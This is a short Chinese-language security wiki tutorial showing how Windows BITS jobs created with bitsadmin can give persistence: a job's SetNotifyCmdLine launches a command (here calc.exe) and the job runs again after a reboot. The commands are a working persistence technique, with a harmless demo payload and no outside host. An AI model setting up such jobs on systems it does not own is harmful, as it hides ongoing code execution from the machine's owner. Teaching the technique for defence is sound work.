## 利用BITS
`BITS` (后台智能传送服务) 是一个 Windows 组件,它可以在前台或后台异步传输文件,为保证其他网络应用程序获得响应而调整传输速度,并在重新启动计算机或重新建立网络连接之后自动恢复文件传输。
`bitsadmin`是一个命令行工具,用于创建下载或上传任务并监视其进度。你可以执行`bitsadmin /?`或`bitsadmin /HELP`获取帮助列表。
常见的`bitsadmin`命令
“`bash
bitsadmin /create [type] DisplayName //创建一个任务
bitsadmin /cancel
bitsadmin /list /allusers /verbose //列出所有任务
bitsadmin /AddFile
bitsadmin /SetNotifyCmdLine
bitsadmin /Resume
bitsadmin /cancel
bitsadmin /reset /allusers //删除所有任务
bitsadmin /complete
“`
下面我们来测试一下:
“`bash
bitsadmin /create test
bitsadmin /addfile test c:\windows\system32\calc.exe c:\Users\qiyou\Desktop\calc.exe //为了方便起见我们直接复制本地文件
bitsadmin /SetNotifyCmdLine test cmd.exe “cmd.exe /c calc.exe”
bitsadmin /resume test
“`
效果如下:
![2b864347bb394f87863f6a4234a26ff5](/static/lingzu/images/security_wiki/2b864347bb394f87863f6a4234a26ff5.gif)
重启电脑之后任务还是存在
![](/static/lingzu/images/security_wiki/15906336300390.png)
重启电脑之后任务会再一次被激活,大概几分钟之后我们的命令会再次执行(由于时间太长了就不录制gif了)
![](/static/lingzu/images/security_wiki/15906336378892.png)
如果我们想让任务完成,可以执行`bitsadmin /complete test`,`calc.exe`也会复制到桌面上
![](/static/lingzu/images/security_wiki/15906336477989.png)
请登录后查看评论内容